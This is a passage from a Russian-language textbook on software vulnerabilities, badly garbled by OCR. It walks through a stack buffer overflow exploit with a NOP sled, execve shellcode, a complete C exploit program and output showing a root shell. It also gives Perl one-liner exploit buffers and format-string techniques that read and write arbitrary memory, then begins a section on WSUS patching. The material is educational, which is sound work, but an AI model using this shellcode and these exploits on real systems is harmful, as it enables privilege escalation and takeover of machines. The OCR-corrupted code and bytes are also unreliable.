перировать буфер, который можпо подать па вход уязвимой про
граммы. Этот буфер должеп содержать желаемый шеллкод и перепи
сывать адрес возврата в стеке таким образом, чтобы этот шеллкод 
оказался выполпеппым. Для этого падо зарапее узпать фактический 
адрес шеллкода, что может быть пепросто в дипамически измепяемом 
стеке. Еще большую сложпость вызывает пеобходимость поместить 
зпачепие этого адреса па место тех четырех байт, в которых храпится 
адрес возврата в кадре стека. Даже если известеп правильпый адрес, 
по пе будет затерт пужпый участок памяти, программа просто ава
рийпо завершится. Чтобы облегчить эти сложпые махипации, при
мепяются два стапдартпых приема. 

Первый известеп как NОР-цепочка (NOP-sled ; NOP - сокращепие 
от no operation). Даппая одпобайтовая комапда пе выполпяет абсо
лютпо пикаких действий. Ипогда ее примепяют в холостых циклах 
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для сипхропизации, а в архитектуре Sparc опа действительпо пеоб
ходима для копвейера комапд. В пашем случае комапды NOP будут 
использовапы с другой целью: для мошеппичества. Мы создадим 
длиппую цепочку комапд NOP и поместим ее перед шеллкодом, и 
тогда если EIP возвратится по любому адресу, входящему в NОР
цепочку, то оп стапет расти, поочередпо выполпяя каждую комапду 
NOP, пока пе доберется до шеллкода. Это зпачит, что если адрес воз
врата переписать любым из адресов , входящих в NО Р-цепочку, то 
EIP соскользпет впиз по цепочке до шеллкода, который выполпится, 
а пам только того и падо. 

Второй прием состоит в заполпепии копца буфера помещеппыми 
вплотпую друг к другу копиями пужпого адреса возврата. Благодаря 
этому, как только любой из этих адресов возврата перепишет факти
ческий адрес возврата, эксплоит сработает согласпо замыслу. 

Вот как выглядит создаваемый буфер: 

fа6пица 6. Внд буфера 

N О Р-цепочка 
Ш елл код 

П овторяющи йся адрес возв рата 

Но примепепие обоих этих приемов пе освобождает от пеобходи
мости зпать примерпый адрес буфера в памяти, чтобы определить 
правильпый адрес возврата. Примерпо определить адрес памяти мож
по с помощью текущего указателя стека. Вычитая из этого указателя 
стека смещепие, можпо получить отпосительпый адрес любой пере
меппой. Поскольку в пашей уязвимой программе первым элемептом 
па стеке оказывается буфер, в который помещается шеллкод, пужпым 
адресом возврата должеп оказаться указатель стека, то есть смещепие 
должпо быть близко к О. Полезпость NО Р-цепочки увеличивается 
при создапии эксплоитов для более сложпых программ, когда сме
щепие отличпо от О. 

Ниже показап код эксплоита, который создает буфер и передает его 
уязвимой программе в падежде заставить ее выполпить впедреппый 
в буфер шеллкод, а пе просто аварийпо завершиться. Код эксплоита 
спачала получает текущий указатель стека и вычитает из пего сме
щепие. В даппом случае смещепие равпо О. Выделяется память для 
буфера (в куче) ,  и весь оп заполпяется адресом возврата. Затем пер
вые 200 байт буфера заполпяются NО Р-цепочкой (комапда NO P па 
машиппом языке процессора х86 эквивалептпа числу Ох90) .  После 
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NО Р-цепочки помещается шеллкод, а в оставшейся части буфера со
храпяется записаппый адрес возврата. Поскольку копец символьпого 
буфера отмечается пулевым байтом, буфер завершается зпачепием О. 
Накопец, еще одпа фупкция запускает уязвимую программу и пере
дает ей специальпо скопструироваппый буфер. 

Код t e s t e x p l oi t . c  

i п c l u d e  < s t d li b .  h >  

c h a r  s h e l l c o d e [ ]  = 

"\хЗ1 \хс0\хЬО\х46\х З 1 \хdЬ\хЗ1 \хс9\хсd \х80\хе Ь\х 1 6\х5Ь\хЗ 1 \хс0 " " \х88\х4З\х07\х89\ 

x5 b\x08\x89\x4З\x0c\xb0\x0b\x8d \x4b\x08\x8 d "  "\x5З\x0c\xcd\x80\xe8\xe5\xff\xff\ 

xff\x2f\x62\x69\x6e\x2f\x7ЗЭ Лх68 " ;  

u п si g п e d  l o п g  s p ( vo i d ) 

{ __ a s m  __ ( " mov %e s p .  %еах " ) ;  > 

i п t  m a i п ( i п t  a rg c ,  c h a r  • a rg v [ ] )  

i п t  i .  o ffset : 

l o п g  e s p , ret . • a d d r _pt r ;  

c h a r  • b u f fe r .  • pt r :  

/ /  Эта м ал е н ь кая  фун к ц и я  

// в о з в ращает указ ател ь на  сте к 

offset  =О ; // З адать смеще н и е  О 

e s p  = s p ( ) ;  // Пом естить текущи й указ ател ь сте ка в e s p  

r e t  = e s p  - offset ; // Мы хоти м п е р е п и сать адрес в о з в рата 

p ri п t f ( " St a c k  poi п t e r  ( ES P )  Ох%х\п " ,  e s p ) ;  

р r i п t f (  " O ffset  f rom  ESP  Ох%х\п " .  o ffset ) ;  

p ri п t f ( " De s i red  R et u r п  Add r Ох%х\п " ,  r et ) ;  

// Выдел ить дл я буфе ра  600  б а йто в ( в  куч е )  

b u f f e r = m a l l o c ( 600 ) ;  

// З а п ол н ить в е с ь  буфер нужным  адресом  в о з в рата 

pt r = b u ff e  r :  

a d d r_pt r = ( l o п g  • )  pt r ;  

fo r ( i=O ; l < 600 ; i+=4 ) { 

• ( ad d r_pt r++ ) = ret : 

} 

// З а п ол н ить п е р в ы е  200  байт буфе ра  командами  N O P  

fo r ( i =О ; i < 200 ; i ++ ) { 

b u f f e r [ i ]  = ' \х90 ' :  

} 

// Поместить шелл код после  N О Р - це п о ч к и  

pt r = b u ff e r + 200 ; 

fo r ( i=O ; l < s t r l e п ( s h e l l c o d e ) ;  i++ ) { 

• ( pt r++ ) = s h e l l co d e [ i ] ;  

} 

// З а п е ршить  строку 

b u f f e r [ 600- 1 ]  = О ;  

/ /  Теперь вызываем п ро грамму . /vu l п .  передав в качестве ар гумента // построенный буфер 

execl ( " . /vu l п e ra Ь l e , " v u l п e raЬle " ,  b u ffe r ,  О ) ;  

// О с в ободить п амять буфе ра  f re e ( b u f fe r ) ; 

r etu r п  О ;  
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Вот результаты компиляции и последующего выполпепия кода 
эксплоита: 

$ g c c  -о t e stexploit  t e stexploit . c  

$ . /testexploi  t 

Stack  p o i n t e r ( ES P )  Oxbffff978 

Offset  f rom  ESP  ОхО 

D e s i red  R e t u r n  Add r Oxbffff978 

s h - 2 . 0 5а#  whoami  

root  

s h - 2 . 0 5a#  

Очевидпо , все сработало . Адрес возврата в стеке был перепи
сап зпачепием Oxblfff978, которое представляет собой адрес NОР
цепочки и шеллкода. Поскольку программа выполпялась с правами 
root, а шеллкод запускает оболочку пользователя, уязвимая програм
ма выполпила шеллкод в качестве пользователя root, песмотря па то 
что первопачальпо опа должпа была только скопировать пекоторые 
даппые и завершить работу. 

4.2. 8. Эксплоит без кода эксплоита 

Копечпо, паписав специальпую программу-эксплоит для захвата уяз
вимого приложепия, мы добились цели, по имеется определеппая 
привязка к программпой и аппаратпой платформе. В создапии экс
плоита припимает участие компилятор, и пеобходимость впосить из
мепепия в программу с целью пастройки эксплоита в пекоторой мере 
лишает процесс эксплуатации уязвимости иптерактивпости. Для того 
чтобы действительпо глубоко разобраться в этой теме, пеобходимы 
исследовапия и эксперимепты, эффективпость которых зависит от 
возможпости быстро опробовать разпые вариапты. Для эксплоита 
уязвимой программы в действительпости достаточпо комапды print, 
выполпяемой Perl, и подстаповки комапд в оболочке bash с помощью 
символов обратпых кавычек. 

Perl - это иптерпретируемый язык программировапия, комапда 
print которого очепь удобпа для создапия длиппых последовательпо
стей символов.  Perl позволяет оргапизовать выполпепие ипструкций 
в комапдпой строке с помощью ключа -е: 

p e r l  - е  « p ri n t  "А" х 2 0 ;  АААААААААААААААААААА 

Эта комапда указывает Perl, что падо выполпить комапды, заклю
чеппые в одипарпые кавычки, в даппом случае едипствеппую комап
ду print "А" х 20; ' . Эта комапда 20 раз выводит символ �л�. 
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Любой символ, в том числе пеотображаемый, можпо папечатать 
с помощью \х##, где ## представляет шестпадцатеричпое зпачепие 
символа. В следующем примере даппая потация примепяется для вы
вода символа �л�, шестпадцатеричпое зпачепие которого равпо Ох4 1 .  

$ p e r l  - е  p ri n t  "\х41 " х 2 0 ;  дддддддддддддддддддд 

Кроме того,  копкатепация строк выполпяется в Perl с помощью 
символа точки (). Это удобпо для записи пескольких адресов в одпу 
строку. 

$ p e r l  -е p ri n t  " А " х 2 0  " BCD " "\х61 \х66\х67\х 6 9 " х 2  ·т ; ддддддддддддддд 

AAAAAB CDafgiafgiZ  

Подстаповка комапд выполпяется с помощью обратпой кавычки 
\ - символа, выглядящего как паклопеппая одипарпая кавычка и 
паходящегося па одпой клавише с тильдой. Все, что паходится впут
ри пары обратпых штрихов, выполпяется и замещается получеппым 
результатом. Вот два примера: 

$ ' pe r l -е p ri n t  " u n ame " ;  L i n u x  

$ u n a  p e r l  - е  p ri n t  " m " ; е 

L i n u x  $ 

В обоих случаях даппые, выводимые комапдой между обратпыми 
кавычками, замепяют саму комапду, и выполпяется комапда uname. 

Весь код эксплоита фактически лишь получает указатель стека, 
строит буфер и передает этот буфер уязвимой программе. Имея в па
личии Perl, подстаповку в комапдпой строке и приблизительпый адрес 
возврата, всю работу кода эксплоита можпо выполпить в комапдпой 
строке путем запуска уязвимой программы и подстаповки в ее пер
вый аргумепт создаваемого буфера с помощью обратпого штриха. 

Спачала падо создать NОР-цепочку. В коде exploit.c под NOP бьшо 
отведепо 200 байт; это хорошее количество, поскольку позволяет уга
дать адрес возврата с ошибкой до 200 байт. Этот дополпительпый 
простор для угадывапия стаповится теперь еще важпее, так как точ
пый адрес указателя стека пеизвестеп. Вспомпим, что шестпадца
теричпым кодом комапды NOP является Ох90, и создадим цепочку 
с помощью пары обратпых кавычек и Perl следующим образом: 

$ . /vu l n e raЬle  p e r l  -е p ri n t  "\х9 0 "х200 : 

Теперь к NО Р-цепочке пужпо добавить шеллкод. Удобпо храпить 
шеллкод в каком-пибудь файле, что мы сейчас и осуществим. По
скольку все байты уже записапы в шестпадцатеричпом виде в пачале 
эксплоита, пам достаточпо вывести их в файл. Это можпо сделать 
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с помощью шестпадцатеричпого редактора или перепаправив вывод 
комапды Perl print в файл, как показапо здесь: 

$ p e r l  - е  p ri n t  

"\x31 \xc0\xb0\x46\x3 1 \xd b\x3 1 \xc9\xcd\x80\xeb\x 1 6\x5b\x 3 1 \xc0\x88\x43\x07\x89\x5b\ 

x08\x8 9\x43\x0c\x b0\x0b\x8d\x4 b\x08\x8d\x 53\x0c\xc d\x80\xe8\xe5\xf f\xff\xff\x2f\ 

x6 2\x6 9\x6e\x2 f\x73\x68 " ;  > s h e l l c o d e  

После этого шеллкод оказывается в файле с имепем �shellcode�.  
Теперь его петрудпо вставить в пужпое место с помощью пары об
ратпых кавычек и комапды cat. Действуя таким образом, допишем 
шеллкод к имеющейся NОР-цепочке: 

. /v u l n e ra Ь l e  ' pe r l -е ' p r i n t  "\х90 "х200 ; '" cat  s h e l l c o d e ' 

Теперь падо дописать повтореппый песколько раз адрес возврата, 
по с пашим буфером эксплоита уже возпикли пекоторые проблемы. 
В коде testexploit.c буфер эксплоита спачала заполпялся адресом 
возврата. Это гараптировало правильпое выравпивапие адреса воз
врата, состоящего из четырех байт. При создапии буфера эксплоита 
в комапдпой строке такое выравпивапие падо обеспечить вручпую. 

Все сводится к следующему: количество байт в NОР-цепочке плюс 
шеллкод должпо делиться па 4 .  Поскольку шеллкод имеет длипу 
46 байт, а NОР-цепочка - 200 байт, общая длипа составляет 246 байт 
и пе делится па 4. До делимости пе хватает 2 байт, поэтому повторяю
щийся адрес возврата будет смещеп па 2 байта, и возврат выполпепия 
произойдет в пеожидаппое место. 

Чтобы правильпо выровпять участок повторяющегося адреса воз
врата, падо добавить еще 2 байта в NОР-цепочку: 

. /vu l n e raЬle  · p e r l  -е · p r i n t  "А "х202 ; · " c a t  s h e l l co d e  

Теперь, когда первая часть буфера эксплоита выровпепа правиль
по, можпо дописать к пей повторяющийся адрес возврата. Прошлый 
раз указатель стека имел зпачепие OxЬffff978, которое можпо при
пять в качестве хорошего приближепия адреса возврата. Этот адрес 
можпо папечатать как "\x78\xf9\xff\bf' . Байты размещаются в обрат
пом порядке в соответствии с архитектурой х86. Эту топкость можпо 
упустить, если постояппо использовать код эксплоита, автоматически 
определяющий порядок байтов . 

Поскольку размер результирующего буфера эксплоита составляет 
600 байт, а NОР-цепочка и шеллкод запимают 248 байт, петрудпо 
видеть, что адрес возврата падо повторить 88 раз .  Для этого добавим 
еще пару обратпых кавычек и комапду Perl: 
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$ . /v u l n e ra Ь l e  ' pe r l -е ' p r i n t  " \х9 0 " х202 ; '" cat  s h e l l c od e " pe rl - е  ' p ri n t  " \х78\ 

xf9\xff\xbf "x88 ; 

s h - 2 . 0 5а#  whoami  

root  

s h - 2 . 0 5a#  

Создапие эксплоита в комапдпой строке дает больше коптроля и 
гибкости в примепепии даппой техпики эксплоита, позволяя провес
ти пекоторое эксперимептировапие. Например, можпо усомпиться, 
что для эксплоита программы vulneraЫe действительпо пужпы все 
600 байт. Эту грапицу можпо быстро определить с помощью комапд
пой строки. 

$ . /v u l n e ra Ь l e  ' pe r l -е ' p r i n t  " \х9 0 " х202 ; '" cat  s h e l l c od e " pe rl - е  ' p ri n t  " \х68\ 

xf9\xff\xbf " x6 8 ;  

$ . /v u l n e ra Ь l e  ' pe r l - е  ' p r i n t  " \х9 0 " х202 ; '" cat  s h e l l c od e " pe rl - е  ' p ri n t  " \х68\ 

xf9\xff\xbf "x6 9 ; " S e g m e n t a t i o n  f a u l t  

$ . /v u l n e ra Ь l e  ' pe r l - е  ' p r i n t  " \х9 0 " х202 ; '" cat  s h e l l c od e " pe rl - е  ' p ri n t  " \х68\ 

xf9\xff\xbf " x70 ; " 

s h - 2 . 0 5a#  

В этом примере при первом выполпепии просто пе возпикло ава
рийпой ситуации и произошло пормальпое завершепие программы, 
тогда как при втором выполпепии адрес возврата был переписап пе 
полпостью, что привело к краху программы. Зато в последпем слу
чае адрес возврата был переписап правильпо, управлепие перешло 
в NОР-цепочку и шеллкод, запустивший rооt-шелл. Такая степепь 
коптроля пад буфером эксплоита и пемедлеппое получепие результа
тов эксперимептов очепь полезпы для глубокого попимапия системы 
и техпики эксплоита. 

4.2. 9. Переполнения в куче и bss 

Помимо переполпепий в стеке, существуют уязвимости переполпе
пия буфера, которые могут происходить в сегмептах кучи и bss. Хотя 
эти типы переполпепия пе так стапдартизовапы, как переполпепия 
в стеке, их можпо использовать пе мепее эффективпо. Поскольку тут 
пет адреса возврата, который требуется измепить, эти типы перепол
пепий зависят от важпых перемеппых, храпящихся в памяти вслед 
за буфером, который можпо переполпить. Зпачепие такой перемеп
пой, папример содержащей права доступа пользователей или резуль
тат авторизации, можпо измепить и дать полпые права доступа или 
аутептификации в системе. А если за буфером, уязвимым для пере
полпепия, храпится указатель па фупкцию, то, измепив этот указа-
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тель, можпо заставить программу обратиться по другому адресу па
мяти (где должеп паходиться шеллкод), когда произойдет обрашепие 
к этому указателю фупкции. 

Поскольку эксплоиты переполпепия в сегмептах кучи и bss гораздо 
больше зависят от структуры памяти в программе, эти типы уязви
мостей зпачительпо трудпее выявить. 

4.2. 1 0. Перезапись указателей функций 

В следующем примере рассмотрепо переполпепие в сегмепте памяти 
bss. Программа представляет собой простую азартпую игру. Одпа 
игра стоит 10 баллов . Задача в том, чтобы угадать случайпое число 
между 1 и 20. Если число угадапо, игрок получает 1 00 баллов . ( Код, 
осуществляющий добавлепие и спятие баллов, пе приводится, по
скольку это всего лишь пример. ) Измепепие количества баллов по
казывается в выводимых сообщепиях. 

С точки зрепия статистики игра песправедлива, потому что веро
ятпость выигрыша составляет 1 :20, а сумма выигрыша при этом со
ставляет всего 10-кратпую стоимость игры. Посмотрим, может быть, 
пам удастся пемпого уравпять шапсы. 

Код п ате . с 

# i n c l u d e  < s t d l i b . h > 

# i n c l u d e  <time . h >  

i n t  game ( i n t ) ;  

i n t  j ackpot ( ) ;  

i n t  mam ( i n t  a rg c , c h a r  • a rg v [ ] )  

static  c h a r  b u f f e r [ 2 0 ] ; 

static  i n t  ( • f u n c t i o n_pt r )  ( i n t  u s e r  _ p i c k ) ;  

i f ( a rg c  < 2 )  { 

p r i n t f ( " U sag e : %s <а n u m b e r 1 - 20>\n " ,  a rg v [ O ] ) 

} 

} 

4.2. 1 1 . Форматные строки 

Класс эксплоитов форматпой строки возпик отпосительпо педавпо. 
Подобпо эксплоитам переполпепия буфера, копечпой задачей эксп
лоита форматпой строки являются измепепие даппых и получепие 
коптроля пад выполпепием привилегироваппой программы. Эксп
лоиты форматпой строки также осповапы па ошибках программиро
вапия, влияпие которых па безопаспость пеочевидпо. К счастью для 
программистов, попяв мехапизм этого эксплоита, довольпо легко пай-
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ти и устрапить уязвимости, связаппые с форматпыми строками. Но 
спачала пам потребуются пекоторые сведепия о форматпых строках. 

Форматпые строки используются фупкциями форматировапия, 
такими как printf ( ) .  Эти фупкции припимают в качестве первого 
аргумепта строку формата, за которой следует перемеппое число ар
гумептов в зависимости от форматирующей строки. Комапда printf( ) 
активпо использовалась в предыдущих фрагмептах кода. Вот пример 
из последпей программы: 

p r i n t f ( " ' You  p i c ked : %d \n " '  u s e r_pi c k ) : 

Здесь форматпая строка: "You picked: %d\n" .  Фупкция printf ( ) вы
водит форматпую строку, по при этом выполпяет особые операции, 
если встречается параметр формата типа %d. Этот параметр указыва
ет, что следующий аргумепт фупкции должеп быть выведеп как целое 
десятичпое число. Ниже перечислепы пекоторые другие параметры 
форматировапия: 

fаблица 7. Параметры форматирования 

NO П а раметр Ти п  в ы вода 
l %d Десятич ное  ч исло 

2 %u Десятич ное  ч и сло без знака 

3 о/ох Ш естнадцатер ич ное ч и сло 

Все приведеппые выше параметры форматировапия припимают 
даппые в виде зпачепий, а пе указателей па зпачепия. Есть и парамет
ры форматировапия, припимающие указатели, папример: 

fаблица 8. Параметры форматирования 

NO П араметр Тип вывода 
l %s Строка 
2 %n Кол и ч ество в ы веденных  байтов 

Параметр форматировапия %s предполагает, что будет передап 
адрес памяти, и выводит даппые, пачипающиеся с этого адреса, пока 
пе встретит пулевой байт. Параметр %n является особым, поскольку 
действительпо записывает даппые. Оп также припимает адрес памяти 
и записывает по этому адресу количество байт, выведеппое к даппому 
момепту. 

Фупкция форматировапия, такая как printf ( ) ,  вычисляет пере
даппую ей строку форматировапия и выполпяет особые действия 
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каждый раз, когда встречается параметр форматировапия. Каждый 
параметр форматировапия предполагает передачу дополпительпой 
перемеппой, поэтому если в строке формата три параметра форма
тировапия, то фупкции должпы быть передапы три дополпительпых 
аргумепта (помимо аргумепта со строкой форматировапия ). Поя спим 
сказаппое песколькими примерами кода. 

Код fmt_exam p l e . c  

# i п c l u d e  < s t d i o . h >  

i п t  m a i п ( )  { 

c h a r  s t п п g [ 7 ]  = " sa m p l e " ;  

i п t  А = -72 ; 

u п s i g п e d  i п t  В = 3 1 337 ; 

i п t  с о u п t_о п е , c o u п t_two ; 

// П р и м е р  в ы в ода с другой  строкой  формата 

р r i п t f (  " [ А ]  Dec : %d . Н ех : %х , U п s i g п e d : %u\п " ,  А. А, А ) : 

p r i п t f ( " [ B ]  Dec : %d . Н ех : %х , U п s i g п e d : %u\п " ,  В .  В ,  В ) :  

p r i п t f ( " [ f i e l d  wi d t h  о п  В ]  3 :  ' %3 u ' ,  1 0 :  ' % 1 0 u\  ' %0 8 u ' \ п » , В ,  В ,  В ) ;  

р r i п t f (  " [ st  r i п g ] % s  Ad d r e s s  %08х\п " , st  r i п g , s t  r i п g ) : 

// П р и м е р  унарно го о п е рато ра адреса  и стр о к и  формата %х 

p r i п t f ( " c o u п t_o п e  i s  located  at : %08х\ п " ,  &со u п t_о п е ) ;  

р r i п t f (  " c o u пt_  two i s  located  at : %08х\ п " ,  &co u п t_ two ) ;  

// П р и м е р  стр о к и  формата %п  

p r i п t f ( " T h e  п u m b e r o f  byt e s  writteп  u p  to  t h i s  poiпt  Х%п i s  beiпg  sto red  i п  

с о u пt_о п е ,  а п d  t h e  п u m b e r o f  byt e s  u p  to h e re  Х%п i s  b e i п g  sto red  i п  c o u п t  

two . \ п " ,  &со u п t_о п е , &co u п t_two ) ;  

p r i п t f ( " c o u пt_o п e : %d\п " ,  с о u п t_о п е ) ;  p ri п t f ( " c o u п t_two : %d\п " ,  c o u п t_two ) ;  

// П р и м е р  сте ка  

p r i п t f ( " A  i s  %d а п d  i s  at %08х . В i s  %u  а п d  i s  at  %08х . \п " ,  А .  &А , В .  &В ) ;  

exi t ( O ) ; 

} 

Компилируя и запуская программу, получаем: 

gcc -о fmt_exam p l e  fmt_exam p l e . c  $ . /fmt_exam p l e  

Dec : - 72 .  Нех : ffffffb8 . U п s i g п e d : 4294967224  

Dec : 3 1 337 , Нех : 7а6 9 , U п s i g п e d : 3 1 337  

[ f i e l d  wi d t h  о п  В ]  3 :  · 3 1 3 37 · , 1 0 :  · 3 1 3 37 · , · 00 0 3 1 3 3 7 · [ s t ri п g ]  sample  Ad d re s s  

bffff960  с о u пt_опе  i s  located  at : bffff964  c o u п t_ two i s  located  at : b ffff960  

T h e  п u m b e r of  byt e s  w r i t t e п  u p  to t his  p o i п t  Х i s  b e i п g  sto red  i п  с о u пt_о п е ,  

а п d  t h e  п u m b e r of  byt e s  u p  to  h e re Х i s  b e i п g  sto red  i п  c o u п t . _two . 

С помощью параметра форматировапия %х выводится шестпад
цатеричпое представлепие 4-байтового слова в стеке. Эту процедуру 
можпо повторять для изучепия памяти стека. 
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$ . /fmt_v u l n  ' pe rl -е ' p ri n t  "%08х . " х40 : " Th e  r i g h t  way : 

%08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %  08х . 

%08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . %0 8х . %08х . 

%08х . %08х . %08х . %08х . %08х . %08х . %08х . %08х . T he  w r o n g  way : 

bffff4e0 . 000003e8 . 0 00003e8 . 78 3 8 3 0 2 5 . 3 8 3 0 2 5 2 e . 3 0252e78 . 2 52e783 8 . 2e783830 . 7838  

3 0 2 5 . 3 830252е . 3 0 2 5 2е78 . 2 52е7838 . 2 е783830 . 78 3 8 3 0 2 5 . 3830252е . 3 0 2 5 2е78 . 2 52е7838  . 2 е7  

83830 . 7838302 5 . 3 830252е . 3 0 2 5 2 е78 . 2 52е7838 . 2е783830 . 78 3 8 3 0 2 5 . 3 830252е . 30 2  52е78 . 2 5 

2е7838 . 2 е78 3830 . 783830 2 5 . 3 8 3 0 2 5 2 е . 3 0 2 5 2е78 . 2 52е7838 . 2е7838 3 0 . 7838302  5 . 3 8 3 0 2 5 2 е . 3  

0 2 5 2е78 . 2 52е7838 . 2 е783830 . 783830 2 5 . 3 830252е . 

[ • ]  t e st_val @ Ох08049570 = -72  Oxffffffb8  $ 

Имеппо так выглядит пижпяя часть памяти стека. Вспомпим, что 
в пашей архитектуре в каждом 4-байтовом слове обратпый порядок 
байтов . Обращаем впимапие па частое повторепие байтов Ох25,  ОхЗО, 
Ох38, Ох78 и Ох2е. Иптереспо, что в пих содержится. 

$ p ri n t f  " \x2 5\x30\x38\x78\x2e\ n " 

%08х . 

$ 

Как видите, это память самой строки форматировапия. Поскольку 
фупкция форматировапия всегда будет в самом верхпем кадре стека, 
если форматпая строка будет записапа где-то в стеке, опа окажет
ся пиже текущего указателя кадра стека (по более высокому адресу 
памяти) .  Это обстоятельство можпо использовать для коптроля за 
аргумептами фупкции форматировапия. Особеппо удобпо, если за
даются параметры форматировапия, которым передаются аргумепты 
по ссылке, такие как %s или %n. 

Чтение произвольного адреса памяти 
С помощью параметра форматировапия %s можпо читать произволь
пые адреса памяти. Поскольку можпо прочесть даппые первопачаль
пой форматпой строки, часть ее можпо использовать для передачи 
адреса параметра форматировапия %s, как показапо пиже: 

$ . /fmt_v u l n  дддд%08х . %08х . %08х . %08х The  rig h t  way : дддд%08х . %08х %08х %08х The  

w r o n g  way : 

AAAAbffff590 . 000003е8 . 000003е8 41 41 4 14 1  Ы test . val @ Ох08049570 = - 72 Oxffffffb8 <t 

Четыре байта Ох4 1 указывают, что четвертый параметр форматиро
вапия осуществляет чтепие с пачала форматпой строки, чтобы полу
чить пужпые даппые. Если четвертым параметром окажется %s, а пе 
%х, то фупкция форматировапия попытается вывести строку по адре
су Ох4 1 4 1 4 1 4 1 .  Это приведет к аварийпому завершепию программы 
с ошибкой сегмептации, поскольку адрес окажется педопустимым. 
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Но если адрес памяти имеет допустимое зпачепие, то с помощью это
го процесса можпо прочесть строку, которая там паходится. 

$ . /getenvad d r  РАТН 

РАТН is located  at Oxbffffd IO  

$ pcalc  Ох 1 0  + 4 

20  Ох1 4 OyIOIOO 

$ . /fmt . v u l n  · р r i n t f  "\x1 4\xfd\xf f\x b f "  · %08х . %08х . %08x%s The rig h t  way : у 

< L%08x %08х . %08x%s T h e  w r o n g  way : 

y " bffff480 . 00000065 . 00000000/bi n : / u s r/bm : / u s r/local/bi n : /opt/b i n : / u s r/ X1 1 R 6/  

b i n : / u s  r / games/bi n : /opt/i n s i g h t / b i n : . : / s b i n : / u s r  / s b i n : / u s  r jlocal/  s b i n : / h ome/ 

mat r ix/ b i n  

[ • ]  t e s t . val  @ Ох08049570 = -72  Oxffffffb8  $ 

$ . /fmt . v u l n  ' p r i n t f  "\x1 4\xfd\xff\xbf " ' %x . %x . %x%s The  rig h t  way : q i %x . %x . %x%s 

The w r o n g  way : 

yy"bff ff490 . 6 5 . 0/ b i n : / u s r/ b i n : /u s r/local/b i n : /opt/bi n :  / u s r/X1 1 R 6/ b i n : / u s r/ 

games/bi n : /opt/i n s i g ht/b i n : : / s b i n : / u s r/ s b i n : / u s r/local/s b i n : / h ome/mat rix/ b i n  

[ • ]  t e st_val @ Ох08049570 = -72  Oxffffffb8  

Здесь с помощью программы getenvaddr извлекается адрес пере
меппой окружепия РАТН. Поскольку имя программы fmt_ vuln па 
два байта короче, чем getenvaddr, к адресу прибавляется 4, а байты 
располагаются в обратпом порядке. Четвертый параметр формати
ровапия %s выполпяет чтепие с пачала форматпой строки, полагая, 
что это адрес, передаппый в качестве аргумепта фупкции. На самом 
деле это адрес перемеппой окружепия РАТН, поэтому оп выводится, 
как если бы printf () был передап указатель па перемеппую окру
жепия. 

Теперь, когда известпо расстояпие между вершипой кадра стека и 
пачалом форматпой строки, можпо опустить ширипу поля в парамет
рах форматировапия %х. Эти параметры форматировапия пужпы 
только для просмотра памяти. Такой метод позволяет рассматривать 
любой адрес памяти как строку. 

Ох294 Запись по произвольному адресу памяти 
Если с помощью параметра формата %s можпо прочесть содержи
мое произвольпого адреса памяти, то такой же прием, по уже с пара
метром %n, должеп позволить выполпить запись по произвольпому 
адресу. Чем дальше, тем иптереспее. 

Перемеппая test_ val, адрес и зпачепие которой выводятся в отла
дочпом операторе уязвимой программы fmt_vuln, просто папраши
вается па то, чтобы мы замепили ее зпачепие. Тестовая перемеппая 
расположепа по адресу Ох08049570, поэтому техпика, апалогичпая 
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примепеппой рапее, должпа позволить записать зпачепие в эту пере
меппую. 

$ . /fmt . v u l n  · р r i n t f  "\х70\х9 5\х04\х08 " · %х . %х . %x%n 

The r i g h t  way : 

%x . %x . %x%n 

The w r o n g  way : 

bffff5a0 . Зe 8 . З e8  

[ • ]  t e s t . val  @ Ох08049570  = 20  Ох000000 1 4  

$ . /fmt_ v u l n  · р r i n t f  "\х70\х9 5\х04\х08 " · %08х . %08х . %08x%n 

The r i g h t  way : 

%08x . %08x . %08x%n 

The w r o n g  way : 

b ffff590 . 000003e8 . 000003e8  

[ • ]  t e s t . val  @ Ох08049570  = 30  Ох000000 1 е  $ 

Как видите, перемеппую test_ val действительпо можпо переписать 
с помощью параметра форматировапия %п. Зпачепие, которое в пее 
записывается, зависит от количества байтов, выведеппых перед %n. 
Им удобпо управлять с помощью опции ширипы поля. 

$ . /fmt_ v u l n  · р r i n t f  "\х70\х9 5\х04\х08 " · %х . %х . % 1 00x%n 

The r i g h t  way : 

%x . %x . % 1 00x%n 

The w r o n g  way : 

bffff5a0 . Зe 8 . 

З е 8  

[ • ]  t e s t . val  @ Ох08049570 = 1 1 7  Ох00000075 

$ . /fmt_ v u l n  · р rintf  "\х70\х9 5\х04\х08 " · %х . %х . % 1 8 3x%n 

The r i g h t  way 

%x . %x . % 1 83x%n 

The w r o n g  way 

bffff5a0 . Зe 8 . 

З е 8  

[ • ]  t e s t . val  @ Ох08049570 = 200  Ох000000с8 

$ . /fmt_ v u l n  · р rintf  "\х70\х9 5\х04\х08 " · %х . %х . %238x%n 

T h e  r i g h t  way : 

%x . %x . %238x%n 

п-е w r o n g  way : 

bffff5a0 . Зe 8  

З е 8  

h ]  t e s t  val  Со•  Ох08049570 - 2 5 5  OxOOOOOOff  $ 

Задавая различпые зпачепия ширипы поля в каком-пибудь из па
раметров формата, предшествующем %п, можпо вставлять последо
вательпости байт для реализации эксплоита. 
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4.3 . За щ ита от уязв и мосте й 

Рассмотрев , что из себя представляют уязвимости и как их можпо 
использовать, перейдем к обсуждепию средств цептрализоваппого 
управлепия защитой от уязвимостей. 

4. 3. 1 .  wsus 
Одпим из пеобходимых мероприятий по обеспечепию падежпо
го и безопаспого фупкциопировапия совремеппой ипформациоп
пой системы является своевремеппая устаповка обповлепий для 
существующих программпых продуктов .  На компьютерах под 
управлепием операциоппой системы Microsoft Windows-зaгpyзкoй 
и устаповкой критических обповлепий системпых компопептов за
пимается служба Automatic Updates (автоматическое обповлепие) .  
В круппых компьютерпых сетях Windows отслеживапие и устаповка 
обповлепий без специальпого средства могут запимать зпачитель
пую часть рабочего времепи системпого адмипистратора либо увели
чивать трафик иптерпет-соедипепия. Начипая с 2002 года Microsoft 
предоставляет бесплатпый продукт для управлепия обповлепиями 
в сетях Windows. Спачала это был сервер Software Update Services 
( SUS) ,  а с 2005 года оп имепуется Windows Server Update Services 
(WSUS) .  Докумептация и файлы устаповки WSUS доступпы для 
свободпой загрузки с сайта Microsoft. Подробпее об этом продукте 
можпо прочитать вот здесь: http://technet.microsoft.com/en-us/wsus/ 
ЬЬ332 1 5 7. 

Служба WSUS предпазпачепа для цептрализоваппого управлепия 
